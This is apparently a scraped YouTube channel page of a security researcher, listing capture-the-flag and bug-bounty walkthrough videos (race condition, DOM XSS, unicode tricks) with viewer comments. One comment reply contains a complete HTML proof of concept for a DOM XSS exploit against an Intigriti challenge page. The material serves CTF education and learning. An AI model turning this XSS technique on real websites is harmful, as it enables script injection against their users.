- 8
- 8 887
Goat Sniff (GoatSniff)
Приєднався 24 тра 2019
Hack a quiz for 10x points! (Intigriti Race Condition Writeup)
Thanks again to Intigriti for letting me write a challenge for the CTF!
Here's some more information about Turbo Intruder:
portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack
0:00 Introduction
0:54 App rundown
1:53 Deeper dive
2:48 Back end rundown
5:24 Exploitation (Burp Intruder)
7:03 Running our exploit
7:25 Buying the flag
Here's some more information about Turbo Intruder:
portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack
0:00 Introduction
0:54 App rundown
1:53 Deeper dive
2:48 Back end rundown
5:24 Exploitation (Burp Intruder)
7:03 Running our exploit
7:25 Buying the flag
Переглядів: 407
Відео
Stealing Goats And Credit Cards (My First Bug Bounty Story)
Переглядів 2722 роки тому
Link to FileDescriptor's talk "The Cookie Monster In Your Browsers": ua-cam.com/video/njQcVWPB1is/v-deo.html Link to my notes on the talk: goatsniff.notion.site/The-Cookie-Monster-in-your-browsers-6d849c752b1e4a1688d875a0d585b149 If you're reading this, sorry for the mumbling at the start of the video. I blast loud music to make myself talk louder but if it's too loud, it has that affect on me ...
Storing my payload in an unexpected location to bypass limitations - Intigriti hacking challenge Feb
Переглядів 2312 роки тому
Sorry if I sound a bit gross, I'm quite sick right now. Another fun challenge, a pretty easy one suitable for beginners - try it out: challenge-0222.intigriti.io/ Follow me on twitter: goatsniff
I made a ServiceNow Capture The Flag Challenge! - SNOWStorm CTF
Переглядів 3113 роки тому
Can you solve all 3 challenges? Clone the repo below and give it a go! Challenge: github.com/BillyNoGoat/SNOWStorm-CTF Just to reiterate, this challenge is designed for ServiceNow developers who have a prior understanding of ServiceNow. There are many ServiceNow specific things I have specifically not explained due to time constraints and the fact that most people who deal with ServiceNow will ...
Using Javascript against itself to help us PWN - Intigriti's 0521 XSS challenge
Переглядів 8363 роки тому
EDIT: I won again! My second Intigriti challenge win, this time in the draw for Best writeup for this very video! If anything wasn't fully explained, it's because I tried to keep it short as I've already explained it in my old video here: ua-cam.com/video/NQw5YpiOAwc/v-deo.html Another great challenge, thanks GrumpinouT!
![Abusing unicode characters to PWN Intigriti XSS challenge [I WON!]](http://i.ytimg.com/vi/aUsAHb0E7Cg/mqdefault.jpg)
Abusing unicode characters to PWN Intigriti XSS challenge [I WON!]
Переглядів 4,4 тис.3 роки тому
Can't believe I actually won! Thanks Intigriti, now I can have a Pwn Pillow on my sofa! :D Follow me :) goatsniff
PWNing Intigriti 1220 challenge - DOM XSS (No interaction!)
Переглядів 1,1 тис.3 роки тому
I thought i'd do things a bit differently and try to give you my entire process from beginning to end to help others understand my thought process/methodology to solving a challenge like this :D. Intigriti told me this was the correct solution and that only a few people were able to find the intended solution, so I though I'd post here :).
Intigriti XSS challenge #2 - Working with limited characters
Переглядів 1,3 тис.5 років тому
A video about my experience with the recent Intigriti XSS challenge #2. Video about the first challenge coming soon. My favorite XSS challenge so far! goatsniff
Why the script has been executed? What does execute the script?
hello, can i DM you for the source code of this challenge ? I really need it to demo for the race condition vulnerability.
farhan a. was here 11/5/22
Hi, I would like to try this challenge on my machine, where can i download dockerfile?
.
bro what's happening if we manipulated the response??
It won't help, the flag is stored on the server and is only sent when the database itself contains a point score >= 100.
@@GoatSniff ooh nyc thanks bro bro can you please tell me how i improved my hacking mindset??
@@sahilabbasi7184 For Bug Bounty, Zseano has a great mindset. For Security in general, check out LiveOverflow, he's often spewing wisdom :)
@@GoatSniff thanks bro :) but my problem is that when I was sleeping I got lots of ideas to come into my mind that's how I bypass the firewall restrictions or any kind of restrictions but when I am on bug hunting then Ideas is not come into my mind how i can prevent from it please help me 🙏🙏😭😭
@@sahilabbasi7184 I have no cure for that, sorry. Just keep hunting, your brain will adapt naturally :)
Great video! Love the creativity!
Nice writeup mate, gj
Awesome challenge and walkthrough bro! I had a quick look at this one and knew what to do but I tried to quickly adapt a script I had from another CTF and was getting some recursion errors with the python grequests module, just moved on to Pwn. So many cool challs I would of liked to try, I think 48-72 hour would of been better. I second the shoutout to PinkDraconian and James Kettle (saw one of his talks at AppSecEU, he's a legend) 🐐🐐
Thanks so much man! I was chatting with PinkDraconian just before the CTF and he mentioned your name and that you're an insane researcher so i spent like an hour watching some of your HTB videos, you're insane! Regarding this challenge though, actually behind the scenes Intigriti ended up adding a manual sleep of 100ms before final line of code to set the quiz question to complete to help people get their race conditions to work so I think even just a simple loop of async requests would have been fast enough. One guy in the discord said his team mate got it just by spam clicking the answer, lol. No fancy race condition tactics needed :D
@@GoatSniff awww ty, i'm a n00b though really, still got lots to learn :) wtf haha I did try just spam clicking as well but never got it above 30 points xD hopefully my team got it!
can anybody say me that how to run a website on local server, I don't know how others do this thing. please help me 🥺🥺
This is a really cool stuff. not only you made the demo, but also explained the exploitation in detail. Thanks.
cool stuff, please continue with the content
Nice man. Subscribed!
Great video!
I like your videos very much, hope there will be more videos in the future
I salute you
Bro you're real Hacker 😍😍😘😘😘😘
This should be awarded as best write-up
He won a €50 swag voucher for it :)
Any way to programmatically come up with the Unicode payload ?
Dude, I never gonna do this kind of stuff, awesome!
my regex expression on regexr.com /^[a-f]{2}.*/gm isn't being detected
This is soo cool
Dude, this is sooooo well explained! Please make more videos of anything related to offensive security or bug bounty. The way you explain stuff is gold!!
awesome!! man, great job
Thanks 🙏🙏🙏🙏
Hi if i done everything and it worked, can i tell them that i finished the challenge and they give some bounty ?
No, the challenge ended on December 14th and they have picked all 6 winners of the competition already. They do these challenges quite frequently so I recommend you follow them on twitter for the next challenge and try to figure out the solution. If you can solve it, you may be picked as a winner for a prize
I love the way you explain this stuff man !! Very well done :)
Very good.. But i have question how can i get final poc run on direct page without jsfiddler.net?
I just did it all in an HTML file when I was solving. Just save this into a file.html then open it in any web browser: <!DOCTYPE html> <html> < id="intigriti" src="challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=onhashchange&operator=%3D&num2=init" width=1000 height=1000></> <script> setTimeout(changeFirst, 1000); setTimeout(changeSecond, 2000); function changeFirst(){ document.querySelector("#intigriti").src = "challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=a&operator=%3D&num2=searchQueryString"; } function changeSecond(){ document.querySelector("#intigriti").src = "challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=location&operator=%3D&num2=a"; } </script> </body> </html>
@@GoatSniff ahh my bad.. I was thinking of console and self-xss point of view. I forgot you can directly call html file😅. Thank you for reply and putting complete poc. Keep doing more, great video. Would love to learn some more, have a good day! 💐
Awesome video bro 🤘👊